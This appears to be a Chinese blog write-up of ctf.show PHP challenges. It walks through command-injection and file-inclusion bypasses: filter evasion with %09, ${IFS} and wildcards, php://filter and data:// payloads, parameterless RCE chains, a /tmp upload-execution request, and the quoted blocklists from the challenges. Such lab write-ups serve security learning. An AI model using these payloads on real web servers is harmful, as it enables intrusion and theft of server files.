赞
踩
晚风依旧很温柔,一个人慢慢走
如果没有匹配到flag就执行$c
先传一个?c=system(‘ls’); 回显两个文件flag.php index.php
那就是要读flag.php了,方法太多了,这里用这个就行
?c=system('cat *');
多了一点过滤,盲猜还是要看flag.php
把system过滤掉了可以用反引号替换
?c=echo `cat *`;
命令执行里的空格可以用%09绕过
?c=echo(`nl%09*`);
或者
passthru("more%09f*");
把反引号和echo和括号都禁了,还可以用include,注意不要留空格(include函数不需要空格也可以包含文件)
/?c=include$_POST["a"]?>
POST:a=php://filter/read=convert.base64-encode/resource=flag.php
emmmm,禁了双引号,那干脆不用了
/?c=include$_POST[a]?>
POST:a=php://filter/read=convert.base64-encode/resource=flag.php
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-04 00:12:34 # @Last Modified by: h1xa # @Last Modified time: 2020-09-04 05:18:55 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ //flag in flag.php error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag/i", $c)){ include($c); echo $flag; } }else{ highlight_file(__FILE__); }
考查文件包含,但是不能有flag字符,方法有很多,这里列举利用data协议命令执行和base64加密的文件包含
?c=data:text/plain,<?php system('cat f*.php');?>
?c=data:text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
增加了对于php和file字符的过滤,试了一下短标签绕过php,没有用,那就用上面的base64编码吧
?c=data:text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-04 00:12:34 # @Last Modified by: h1xa # @Last Modified time: 2020-09-04 06:13:21 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ //flag in flag.php error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag/i", $c)){ include($c.".php"); } }else{ highlight_file(__FILE__); }
include自带.php后缀,还是不影响我们使用data协议,hint:
data://text/plain, 这样就相当于执行了php语句 .php 因为前面的php语句已经闭合了,所以后面的.php会被当成html页面直接显示在页面上,起不到什么 作用
?c=data:text/plain,<?php system('cat fla*.php');?>
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-04 00:12:34 # @Last Modified by: h1xa # @Last Modified time: 2020-09-04 06:03:36 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }
过滤了大量的符号和数字,一开始没有思路,直到后来发现,过滤掉的括号是中文的…,仔细比较就能发现不一样
( 中文
( 英文
然后就可以无参数RCE,这是之前做的一些笔记
#经典讲解 https://www.freebuf.com/articles/system/242482.html 例题: <?php highlight_file(__FILE__); if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) { eval($_GET['code']); } ?> 如果code匹配过后只剩下一个 ; 则执行代码 preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code']) '/[^\W]+\((?R)?\)/' /w表示匹配字母,数字和下划线,等价于[A-Za-z0-9_] ((?R)? 表示递归匹配, 最终只有a(b(c()));这样的命令可以使用 所以我们需要无参数的rce 基于php强大的函数 一般来说,print_r(scandir('.'));可以用来查看当前目录所有文件名 localeconv()返回一包含本地数字及货币格式信息的数组。而数组第一项就是"."(后续出现的.都用双引号包裹,方便识别) current()返回数组中的单元,默认取第一个值: print_r(scandir(current(localeconv()))); 成功打印出当前目录下文件 或者使用print_r(scandir(pos(localeconv())));,pos是current的别名 phpversion() phpversion()返回PHP版本,如5.5.9 floor(phpversion())返回 5 sqrt(floor(phpversion()))返回2.2360679774998 tan(floor(sqrt(floor(phpversion()))))返回-2.1850398632615 cosh(tan(floor(sqrt(floor(phpversion())))))返回4.5017381103491 sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))返回45.081318677156 ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion())))))))返回46 而chr(46)='.' 若flag.php为最后一个文件,则 show_source(end(scandir(getcwd()))); getcwd()获取当前目录绝对路径 或show_source(current(array_reverse(scandir(getcwd())))); 将数组逆序后选取第一个放回 如果是倒数第二个我们可以用: show_source(next(array_reverse(scandir(getcwd())))); 如果不是数组的最后一个或者倒数第二个呢? 我们可以使用array_rand(array_flip()),array_flip()是交换数组的键和值,array_rand()是随机返回一个数组 所以我们可以用: show_source(array_rand(array_flip(scandir(getcwd())))); 或者: show_source(array_rand(array_flip(scandir(current(localeconv())))));
这里我们可以
?c=show_source(next(array_reverse(scandir(getcwd()))));
emmm,这题不友好啊,看出题人的wp吧
https://blog.csdn.net/miuzzx/article/details/108569080
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
system($c." >/dev/null 2>&1");
}else{
highlight_file(__FILE__);
}
这题把输出都重定向到了null里,就是不给我们回显,但是想到了linux下的命令执行的特点,解法还是挺多的
?c=cat flag.php%0a
?c=cat flag.php;
?c=cat flag.php||
增加了分号;和cat过滤,解法很多
?c=nl fla*||
?c=tac fla*||
cat的部分绕过方法
cat:由第一行开始显示内容,并将所有内容输出
tac:从最后一行倒序显示内容,并将所有内容输出
more:根据窗口大小,一页一页的现实文件内容
less:和more类似,但其优点可以往前翻页,而且进行可以搜索字符
head:只显示头几行
tail:只显示最后几行
nl:类似于cat -n,显示时输出行号
tailf:类似于tail -f
sort%20/flag 读文件
出处:https://www.sohu.com/a/440030737_120967809
增加flag过滤,解法同上
增加空格过滤,空格的绕过也是经典了
?c=tac%09fla*||
增加数字过滤和*过滤,但是试了一下%09还能用,应该是表示的url编码会解码,*用?替换就行了
/?c=tac%09fl??????||
增添了一些过滤,不过,上一题的wp完美避开了
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
同上
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
可能出题的时候没有考虑到tac命令吧,居然还是上上题的wp,恰好避开了所有过滤
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
终于对我的%09下手了
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
不知道为啥问号(?)好像没有用了
?c=tac<fla''g.php%0a
也对tac下手了
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
看前面的命令绕过可知,还有一个nl没有被禁
?c=nl<fla''g.php||
过尖括号
?c=nl${IFS}fla''g.php||
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
感觉这里就直接执行代码了,不知道在考什么
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
echo($c);
$d = system($c);
echo "<br>".$d;
}else{
echo 'no';
}
}else{
highlight_file(__FILE__);
}
?c=nl${IFS}fl''ag.php
好家伙,nl也被禁了
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
直接到目录里面找cat命令
?c=/bin/ca?${IFS}f???????
禁用了所有小写字母,利用上题的思路,直接找/bin/base64
?c=/???/????64 ????.???
之后看了wp说是用无字母RCE
https://blog.csdn.net/qq_46091464/article/details/108557067
就这题来说的话好像不需要这么复杂,但是无字母RCE还是值得去复现一下
和上个题目相比多禁用了数字…好像明白上次为啥更新到这里就不更了
这里需要利用上面无字母RCE的解题思路,详细一点的思路也可以参考这篇博文,主要就是因为php上传的文件放在/tmp目录下,可能包含大写字母,而大写字母ASCII码值位于 @ 和 [ 之间,因此可以用来检索大写字母
具体请求包如下:
POST /?c=.+/???/????????[@-[] HTTP/1.1 Host: e54ef21f-1328-4a05-a422-b4eedfcd7e06.challenge.ctf.show User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Content-Type: multipart/form-data; boundary=---------------------------10242300956292313528205888 Accept-Encoding: gzip, deflate Connection: keep-alive Cookie: UM_distinctid=1739f845e394-0cffbf96840b0c8-4c302d7c-144000-1739f845e3b4e2 Upgrade-Insecure-Requests: 1 Content-Length: 241 -----------------------------10242300956292313528205888 Content-Disposition: form-data; name="fileUpload"; filename="1.txt" Content-Type: text/plain #! /bin/sh cat flag.php -----------------------------10242300956292313528205888--
这次把 [ 给过滤掉了
这里需要注意的是,flag in 36.php,一开始没有看到这个题目半天没看出这是个啥,构建36的话还是有一些方法的,具体可以参考这篇博文
shell中
${_}:代表上一次命令执行的结果
$(( )):表示对()中的内容做运算
之前没有执行命令时$(())应该表示0,而用~取反则可以得到-1,多个-1相加可以得到-37,最后取反可以得到36
payload
?c=$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(()))) ))))
执行后查看源码即可获取flag
乍一看题目这么简单?直接传一个c=system(‘ls’); 发事情并没有这么简单
system函数禁用,后面测试发现被禁用的还有exec(), shell_exec(), passthru()等等,用反引号好像也不太行,一番查找后找到了show_source()函数
和上面的payload一样
这里提供以下两种payload
c=include "php://filter/read=convert.base64-encode/resource=flag.php";
c=show_source('flag.php');
好像还是和上面的一样,emmm,
虽然题目相似,但是这次show_source()不让用了,于是用的payload如下:
c=include "php://filter/read=convert.base64-encode/resource=flag.php";
解密base64如下
换一个highlight_file()函数
好家伙,禁用highlight_file()把自己给禁用了,题目的源码都看不到了,只能换了一个include函数,成功绕过禁用
c=include('/flag.txt');
这题有点奇怪了,禁用highlight_file()导致看不到题目
用上一题的payload之后发现字符好像都被替换了
但是看不到源码,因而也不知道题目的处理逻辑,而且{}里面好像已经查出flag了,应该不是在考函数绕过了
想半天没能绕过去,查资料发现不知道为啥好像其它师傅能看到源码
<?php error_reporting(0); ini_set('display_errors', 0); // 你们在炫技吗? if(isset($_POST['c'])){ $c= $_POST['c']; eval($c); $s = ob_get_contents(); ob_end_clean(); echo preg_replace("/[0-9]|[a-z]/i","?",$s); }else{ highlight_file(__FILE__); } ?> 你要上天吗?
因而思路比较清晰了,查到flag后直接用exit()退出
这题很迷,但是发现原来题目里可以下载源码。。。
首先可以用 查看一下目录
include()即可得到flag
scandir()被禁用,看不到目录了,直接c=inclde(‘/flagc.txt’);exit(); 查不到文件了,但是猜测flag文件名不大差,试了几个就试出来了,payload如下:
c=include('/flagx.txt');exit();
打不过打不过
先更新到这里吧
持续更新
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。